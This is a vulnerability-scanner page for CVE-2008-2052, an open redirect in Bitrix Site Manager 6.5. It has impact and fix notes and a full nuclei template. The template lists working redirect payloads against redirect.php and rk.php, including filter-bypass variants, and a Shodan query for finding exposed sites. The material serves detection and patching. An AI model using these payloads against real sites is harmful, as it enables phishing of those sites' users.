Bitrix Site Manager 6.5 - Open Redirect

mediumseverity

6.1CVSS score

1.6%likelihood of exploitation, next 30 days

76%of all CVEs are less likely

Readycheck to confirm it

Bitrix Site Manager 6.5 contains an open redirect vulnerability in redirect.php. Remote attackers can redirect users to arbitrary web sites and conduct phishing attacks via a URL in the goto parameter.

Impact

Successful exploitation can redirect users to attacker-controlled sites, enabling phishing and other social engineering attacks.

Fix

Upgrade Bitrix Site Manager to a fixed version and restrict redirect.php/rk.php targets to trusted destinations.

How to confirm it

Send: GET {{BaseURL}}{{paths}}
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$/ AND status 302 or 301

Run it with nuclei: nuclei -id CVE-2008-2052 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2008-2052

info:
  name: Bitrix Site Manager 6.5 - Open Redirect
  author: pikpikcu,gtrrnr,liangtovi-debug
  severity: medium
  description: |
    Bitrix Site Manager 6.5 contains an open redirect vulnerability in redirect.php. Remote attackers can redirect users to arbitrary web sites and conduct phishing attacks via a URL in the goto parameter.
  impact: |
    Successful exploitation can redirect users to attacker-controlled sites, enabling phishing and other social engineering attacks.
  remediation: |
    Upgrade Bitrix Site Manager to a fixed version and restrict redirect.php/rk.php targets to trusted destinations.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2008-2052
    - https://packetstormsecurity.com/files/151955/1C-Bitrix-Site-Management-Russia-2.0-Open-Redirection.html
    - https://holisticinfosec.blogspot.com/2008/07/bitrix-open-redirect-vulnerability.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/42157
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2008-2052
    epss-score: 0.01568
    epss-percentile: 0.75551
    cwe-id: CWE-601
    cpe: cpe:2.3:a:bitrix24:bitrix_site_manager:6.5:*:*:*:*:*:*:*
  metadata:
    max-request: 14
    vendor: bitrix24
    product: bitrix_site_manager
    shodan-query: "html:\"/bitrix/\""
  tags: cve,cve2008,redirect,bitrix,packetstorm,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - '/bitrix/rk.php?goto=https://interact.sh'
        - '/bitrix/redirect.php?event1=&event2=&event3=&goto=https://interact.sh'
        - '/bitrix/redirect.php?event3=352513&goto=https://interact.sh'
        - '/bitrix/redirect.php?event1=demo_out&event2=sm_demo&event3=pdemo&goto=https://interact.sh'
        - '/bitrix/redirect.php?site_id=s1&event1=select_product_t1&event2=contributions&goto=https://interact.sh'
        - '/bitrix/redirect.php?event1=&event2=&event3=download&goto=https://interact.sh'
        - '/bitrix/rk.php?id=28&site_id=s2&event1=banner&event2=click&event3=3+%2F+%5B28%5D+%5BBANNER_AREA_FOOTER2%5D+%D0%9F%D0%BE%D1%81%D0%B5%D1%82%D0%B8%D1%82%D0%B5+%D0%B2%D0%B2%D0%BE%D0%B4%D0%BD%D1%83%D1%8E+%D0%B1%D0%B5%D1%81%D0%BF%D0%BB%D0%B0%D1%82%D0%BD%D1%83%D1%8E+%D0%BB%D0%B5%D0%BA%D1%86%D0%B8%D1%8E+APTOS&goto=https://interact.sh'
        - '/bitrix/rk.php?id=84&site_id=n1&event1=banner&event2=click&event3=1+%2F+%5B84%5D+%5BMOBILE_HOME%5D+Love+Card&goto=https://interact.sh'
        - '/bitrix/rk.php?id=691&site_id=s3&event1=banner&event2=click&event3=1+%2F+%5B691%5D+%5BNEW_INDEX_BANNERS%5D+Trade-in+football&goto=https://interact.sh'
        - '/bitrix/rk.php?id=129&event1=banner&event2=click&event3=5+%2F+%5B129%5D+%5BGARMIN_AKCII%5D+Garmin+%E1%EE%ED%F3%F1+%ED%EE%E2%EE%F1%F2%FC+%E2+%E0%EA%F6%E8%E8&goto=https://interact.sh'
        - '/bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2=&event3=download&goto=https://interact.sh'
        - '/bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2=&event3=download&goto=https://interact.sh'
        - '/bitrix/redirect.php?goto=https://{{Hostname}}%252F:[email protected]/'
        - '/bitrix/tools/track_mail_click.php?url=http://site%[email protected]/'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
        part: header

      - type: status
        condition: or
        status:
          - 302
          - 301

References

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